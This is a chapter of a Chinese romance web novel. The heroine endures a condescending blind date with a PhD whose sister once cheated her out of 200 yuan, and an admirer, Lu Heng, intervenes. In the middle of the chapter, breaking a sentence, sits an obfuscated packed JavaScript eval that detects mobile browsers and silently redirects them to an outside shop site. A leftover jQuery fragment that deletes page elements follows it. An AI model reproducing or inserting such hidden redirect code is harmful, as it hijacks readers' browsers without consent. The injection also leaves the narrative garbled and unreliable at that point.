半夜被大姨妈疼醒的时候,阮华蓁摸黑吃了一粒布洛芬,蜷成一只虾米,熬了半小时才重新睡着。

    然后又做梦了。

    还是那个怪物。但这次不是抓她,是追着她亲。

    那怪物的嘴巴是淡蓝色的、分叉的、像一朵会动的海葵,每根触须都在空中扭动,目标明确地朝她脸上凑。阮华蓁在梦里拔腿狂奔,边跑边想:你抓我也就算了,亲我是几个意思?

    眼看那朵“海葵嘴”就要糊到她脸上,她惊叫着醒来,一身虚汗。

    这个梦到底什么意思?

    她最近的压力已经大到性幻想都变成触手PLAY了吗?

    她抓起手机一看:9:30。她明明定了7:30的闹钟,不知道为什么没响。

    正懊恼着,陆珩的电话打了进来。

    “蓁蓁,醒了?”声音温润,带着笑意,像是早就知道她刚醒。

    “慧城科技那边已经和住建局过了筛选的项目,有三个。一个完成了初设,另外两个还没开始。第一个可以做申报咨询辅助,另外两个可以联合投标,初设+申报材料编制全过程技术服务。你们下午回京后就可以着手准备了。”

    阮华蓁愣了两秒。

    三个项目?昨天吃饭的时候还说只是“聊聊”,今天早上就谈好了?

    这也太快了。他到底动用了什么关系?还是说惠城科技本来就是冲着这几个项目去的?那带她们一起,到底是为了什么?

    话筒那边传来一声轻笑:“蓁蓁,真期待你工作中认真的样子。我订了早餐送你房间,记得吃。”

    阮华蓁还能说什么,只能道了声谢谢。

    送餐机器人很快来了,鱼片粥、清炒芥蓝,是她爱吃的。

    热粥下肚后,整个人像被按了重启键,从“行尸走肉”模式切换回“勉强算个人”模式。

    她通知刘雯和王劲下午返程。

    刘雯秒回语音,声音兴奋得像中了彩票:“阮工!阮工!惠城科技帮我们订了头等舱!我这辈子还没坐过头等舱呢!!”

    背景音里还有她在床上扑腾的声音。

    王劲的消息随后到,文字里都透着一股酸劲:“妹妹,厉害啊。这陆总对你也太照顾了。不过富二代嘛,玩玩而已,你可别当真。”

    阮华蓁盯着那行字看了两秒。

    他说得对,尤其是后半句。但她就是不爽他说话的语气。

    她没回,把手机扣在桌上,回程路上躲着陆珩就行。

    返程的飞机上,陆珩果然坐在她旁边。刘雯、王劲、罗成、陈京坐隔了几排,但阮华蓁总觉得有八只眼睛在盯着她俩。

    她一路几乎没跟陆珩说话,连闭眼装睡都在心里反复提醒自己:靠窗靠窗靠窗,不能靠他肩膀不能靠他肩膀……

    她睡得腰酸背痛,醒来发现自己还真没靠过去。意志力惊人,值得表扬。

    陆珩笑盈盈地坐在旁边,全程没打扰她,连翻书都轻手轻脚,脾气看着要多好有多好。

    阮华蓁心想:莫非真是弃猫效应?被冷暴力的人一旦回头,就变得特别乖?

    飞机落地时正好傍晚,晚霞烧红了半个京城的天空。阮华蓁开机,微信上消息疯狂跳动。

    她妈的语音转了文字,果然又是催她周末相亲的事。

    另一个对话框是相亲对象陈鸣,头像是一张侧脸自拍,看起来像在某个风景区。但不知道为什么,阮华蓁总觉得那张照片的构图有点问题:头太大了,肩膀太小了,整个人像被P进去的。

    对话框里一溜的“早安”“在干嘛”“晚安”,中间偶尔穿插几个不知道从哪里复制来的土味情话,最离谱的一条是:“今天的云很好看,但没你好看。”

    阮华蓁当时看到这条的时候,用键盘回了一个笑脸。代表她看了,但实在不知道怎么接。

    最新一条是:“明天上午有空吗?咱们见面聊聊?”

    阮华蓁才反应过来,明天是周六。

    想着伸头一刀缩头也是一刀,但上午想补个觉,于是回:“下午如何?”

    对方秒回:“下午和朋友约了狼人杀。要不周日上午?”

    啧,还是上午。挪到周日有什么意义?

    她叹了口气:“周六上午吧。”

    对面很快发来一个地址,说是他住处附近的咖啡馆,环境不错。阮华蓁查了一下——地铁转三趟,一个半小时。

    三趟地铁,就为了喝一杯咖啡,她在家煮一壶不香吗?

    她试着问了一句:“要不选个折中的地方?”顺手把自己住处的地铁站发了过去。

    对方“正在输入”了足足两分钟,然后回了句:“这边我熟悉,请你吃蛋糕呀。”

    熟悉?你当然熟悉,你家门口嘛。阮华蓁扶额,这人真是一点不为别人考虑。

    身旁传来一声极轻的笑。

    滑翔的飞机停了。

    阮华蓁转头,陆珩不知什么时候帮她拿下了行李箱,正垂头看她的手机屏幕。见她看过来,他也不躲,就那样垂着眼睛,嘴角弯着,看起来心情不错。

    “这么斤斤计较的男生,不适合你。”他说,语气认真得不像在开玩笑。

    阮华蓁心想:你也好不到哪里去。

    你是不计较,你直接消失。

    但她没说出口,只是冷冷道了声“谢谢”,从陆珩手里拽过行李箱,率先出了机舱。

    不知道是受相亲消息的影响,还是她冷然的态度起了作用,陆珩这次没有非要送她回家。

    她松了口气。

    翌日上午,商场一楼的星巴克。

    阮华蓁等了一刻钟,陈鸣才到。

    他穿着一件灰色外套,灰色的运动鞋,衬得他的脸色都灰扑扑的。无框眼镜后的黑眼圈挺住,头发略油,两鬓微秃。

    看见阮华蓁的时候,他略微一愣,然后露出一个腼腆的、但掩不住打量的笑容。

    “你想喝什么?”

    “美式吧。”

    阮华蓁打了个哈欠。她周末一般补觉,为了这杯咖啡,她起得比工作日还早。

    “我请你,还是你自己点?”

    陈鸣低头翻着点单页面,随口了一句。

    阮华蓁愣了一下。

    相亲场合,一杯咖啡三四十,还要问这个问题?

    她不想找个小气的男友,于是面无表情道:“麻烦你请吧,中杯,谢谢。”

    “我不喜欢喝咖啡。”陈鸣似乎也感觉到了气氛不对,解释了一句。

    “要不要吃蛋糕?”

    “不用了。”

    她可不想被骂“捞女”。

    然后俩人开始不冷不热地聊起来。

    陈鸣追着问了她的学校、专业、工作、存款、谈过几个、分手原因。

    阮华蓁一一简单回答。

    说到学校的时候,陈鸣先是大段大段地讲了一遍他的母校和导师,那种“我要让你知道我是985博士”的架势,恨不得把毕业证掏出来拍桌上。

    然后他问:“你本科怎么不是985?”

    阮华蓁的本科也是个211,听此心里有点不舒服,面不改色道:“学渣,不如你。”

    “你能考上985的研究生也不错。”

    “不错”?是什么意思?

    是“你一个非985能考上研已经算你走运了”的意思吗?

    阮华蓁端起咖啡喝了一口。美式本来就苦,现在酸苦。

    说到只谈过一个男朋友的时候,陈鸣边大口吃蛋糕,边满嘴奶油地说:“你要求太高了吧?像你这样的一定很多人追。”

    那个眼神像在打量一件精美的展品,然后暗暗评估“我能买得起吗”。

    阮华蓁看着他扒拉得乱七八糟的蛋糕碟子,忽然觉得凳子特别硬,咖啡特别难喝,时间特别慢。

    她正想着找个借口走人,陈鸣忽然笑了一下,露着带着奶油的牙齿:“哎,对了。听阿姨说你是我妹妹的高一同学。”

    “你妹妹是?”阮华蓁本就不是擅长拒绝的人,想着等这个话题结束再走。

    “陈香。”

    阮华蓁手里的咖啡杯顿了一下。

    陈香。

    这个名字,她很久没听到了。

    高一的时候,陈香和软玉都是她的同桌。那时候阮华蓁成绩好,陈香喝阮玉成绩一般。每次考试成绩下来,陈香看到她分数比自己高,就会阴阳怪气一番,阮玉便安慰陈香。

    下了课,陈香就会像没事人似的找她玩,好像刚才什么都没发生。阮玉时常说陈香小孩子脾气。

    后来文理分科,陈香和软玉去了文科班,陈香和阮华蓁疏远,阮玉因为和她一个村,俩人常放假时一起回,仍算好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17657887|207075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    友。

    高二的时候,阮华蓁丢过200块钱,在那个时候,200块是一个多星期的生活费。她没钱吃饭了,阮玉知道后就借了200给她。下个休息日父母给了钱,阮华蓁便跑去阮玉宿舍还钱。

    阮玉不在,同寝室的陈香在。还有两个不认识的女生。

    “你给我就行,”住在阮玉下铺的陈香当时特别热情,“我帮你转交。”

    阮华蓁没多想,就把钱给了她。

    到了周末,阮玉来小心翼翼来问:“蓁蓁,那200……你什么时候方便?”

    阮华蓁才知道,陈香根本没转交。

    三个人当面对质,陈香一口咬定:“我没见过你,你是不是记错了?还是不想还钱?”

    阮华蓁让阮玉可以求证那两个室友,没想到那两人说记不清了。

    阮华蓁气得手脚冰凉,但证据就是没有。最后她咬牙又给了阮玉200。

    陈香拿的那200块钱,就当喂了狗。

    为此阮华蓁吃了两周的泡面。

    事情过去了,但友情回不去了。阮玉后来被陈香在寝室里冷言冷语,阮玉也因为这事儿和阮华蓁慢慢疏远。

    阮华蓁总觉得是自己的错,要不是她信任了陈香,她和阮玉的友情也不会被连累。

    直到高三快高考的时候,阮华蓁在学校路上看到陈香挽着那两个室友,有说有笑,看见她的时候,还翻了一个大大的白眼。

    阮华蓁当时就不行了。

    她冲上去堵住陈香的路,声音大到路过的同学都回头:“那200块钱是你自己抢着说要转交的。你昧着良心做事,不怕报应在高考上?”

    一向与人为善的她,很少这么咄咄逼人。陈香的脸绿了,两个室友也愣住了。

    但阮华蓁觉得自己终于翻篇了。

    高考前两天,阮玉突然跑来教室找她,笑着给了阮华蓁200元:“陈香把钱给我了,她说她当时一忙忘了,最近才想起来。”

    阮华蓁也笑了。

    忘了?

    忘了两年?

    不是因为她在路上堵了她那一回?

    但她也懒得追究了。只是对阮玉说了自己路上堵陈香的事。

    后来陈香确实没过本科线。阮华蓁也就忘了这个人,直到现在。

    “那挺有怨。”阮华蓁笑了一下,放下咖啡杯,站起来,“我下午有事,谢谢你的咖啡。”

    她转了咖啡的钱给陈鸣,拎起包就往外走。

    陈鸣追上来,声音带着点被拒绝的吃惊和急切:“我觉得我们挺合适的,要不一起吃个午饭。我以前没追过人,都是别人追我。但是你的话我觉得我可以主动。你看,我博士,收入也比你高,我也不歧视本科一般的……”

    阮华蓁脚步顿住了。

    “不歧视”?

    “本科一般的”?

    他这句话的意思是,“你条件不如我,但我愿意屈尊”。

    她深吸一口气,正要转身说点什么,一只手从旁边伸过来,自然地握住了她的手,放到了一个臂弯里。

    阮华蓁转头。

    陆珩站在她身边,黑色大衣,眉眼锋利,唇边带着一个礼貌但明显是故意的微笑。他比陈鸣高了一个头不止,低头看了一眼陈鸣的头顶,又抬起眼,语气犀利:“她颜控。而且你没有180。”

    陈鸣的脸涨成了猪肝色,他只有170,身高一直是他的硬伤,嘴唇哆嗦了两下,想说什么但什么都没说出来。

    阮华蓁站在原地,手还被扣在陆珩的臂弯里。

    他的大衣是冷的,但臂弯是温的。

    她应该抽回去,但她没有。

    想着不知道陈鸣会怎么跟介绍人说,回家后老妈会不会骂自己。但是现在她很累,不想这些。

    “走吧,”她低声说,“别在这儿站着。”

    陆珩笑着摸了摸她的头,然后带着她转身往门口走。

    身后传来陈鸣憋了半天的一句:“你谁啊你!一个学渣,不就是长得好看点吗,还拽上了。”

    阮华蓁没回头,这人果然跟他妹妹一样。

    陆珩似乎是感觉到了她情绪低落,手指在她手背上轻轻蹭了一下。

    “只有我适合你。”

    手背的触感微凉,但不知道为什么,阮华蓁觉得自己的手心出了一层薄汗。